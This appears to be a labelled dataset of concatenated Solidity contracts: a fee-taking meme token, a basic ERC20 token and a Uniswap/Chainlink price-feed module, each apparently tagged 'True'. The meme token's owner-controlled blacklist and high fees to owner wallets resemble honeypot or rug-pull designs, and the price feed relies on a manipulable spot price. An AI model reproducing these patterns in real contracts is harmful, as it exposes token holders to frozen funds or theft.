0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CSHIB is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Chief Shiba"; string private constant _symbol = 'CSHIB'; uint8 private constant _decimals = 9; uint256 private _taxFee = 5; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4250000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }

True

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pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract SimpleToken is StandardToken { string public name = "Centrificus"; string public symbol = "CTS"; uint public decimals = 18; uint public INITIAL_SUPPLY = 25000000000000000000000000000; function SimpleToken() { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.7.4; pragma experimental ABIEncoderV2; import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "../interfaces/tokens/IERC20Internal.sol"; import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol"; import "@chainlink/contracts/src/v0.7/interfaces/AggregatorV3Interface.sol"; import "../interfaces/helpers/IPriceFeed.sol"; import "../interfaces/helpers/IUniswapV2Factory.sol"; import "../interfaces/helpers/IUniswapV2Pair.sol"; contract PriceFeed is IPriceFeed, OwnableUpgradeable { using SafeMathUpgradeable for uint256; IUniswapV2Router02 public uniswapRouter; IUniswapV2Factory public uniswapFactory; address public override wethToken; mapping(address => address) public chainlinkAggregators; mapping(address => uint256) public internalPriceFeed; function __PriceFeed_init( address _uniswapRouter, address _uniswapFactory, address _weth ) external initializer { __Ownable_init(); uniswapRouter = IUniswapV2Router02(_uniswapRouter); uniswapFactory = IUniswapV2Factory(_uniswapFactory); wethToken = _weth; } // Returns the amount of @param tokenA in @param amount of @param tokenB // @notice @param viewOnly MUST be 'false' if the output of this function is used for trading // access: ANY function howManyTokensAinB( address tokenA, address tokenB, address via, uint256 amount, bool viewOnly ) external view override returns (uint256) { if (viewOnly) { return uniswapFeed(tokenA, tokenB, via, amount); } else { uint256 _priceA; if (chainlinkAggregators[tokenA] != address(0)) { (, int256 _price, , , ) = AggregatorV3Interface(chainlinkAggregators[tokenA]) .latestRoundData(); _priceA = uint256(_price); } else if (internalPriceFeed[tokenA] != 0) { _priceA = internalPriceFeed[tokenA]; } require(_priceA > 0, "PriceFeed: PF1"); uint256 _priceB; if (chainlinkAggregators[tokenB] != address(0)) { (, int256 _price, , , ) = AggregatorV3Interface(chainlinkAggregators[tokenB]) .latestRoundData(); _priceB = uint256(_price); } else if (internalPriceFeed[tokenB] != 0) { _priceB = internalPriceFeed[tokenB]; } require(_priceB > 0, "PriceFeed: PF2"); return _priceB.mul(amount).div(_priceA); } } function uniswapFeed( address tokenA, address tokenB, address via, uint256 amount ) public view returns (uint256) { if (amount < 1 * 10**6) { //1 mWei return 0; } address[] memory pairs; if (via == address(0)) { pairs = new address[](2); pairs[0] = tokenB; pairs[1] = tokenA; } else { pairs = new address[](3); pairs[0] = tokenB; pairs[1] = via; pairs[2] = tokenA; } uint256[] memory amounts = uniswapRouter.getAmountsOut(amount, pairs); return amounts[amounts.length - 1]; } function getUniswapRouter() external view override returns (address) { return address(uniswapRouter); } // Adds XYZ/ETH aggregator address from Chainlink data feeds // access: OWNER function addChainlinkAggregator(address _token, address _aggregator) external onlyOwner { chainlinkAggregators[_token] = _aggregator; } // Sets the asset price XYZ/ETH internally // @param _price represents the amount of ETH in one XYZ // @notice the price MUST be in 10**18 (18 decimals) // access: OWNER function setInternalPrice(address _token, uint256 _price) external onlyOwner { internalPriceFeed[_token] = _price; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Internal { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint256); // get Token symbol function symbol() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint256 amount0, uint256 amount1); event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to); event Swap( address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint256); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function burn(address to) external returns (uint256 amount0, uint256 amount1); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; } pragma solidity >=0.7.4; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint256); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.7.4; interface IPriceFeed { function getUniswapRouter() external view returns (address); function wethToken() external view returns (address); function howManyTokensAinB( address tokenA, address tokenB, address via, uint256 amount, bool viewOnly ) external view returns (uint256); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * 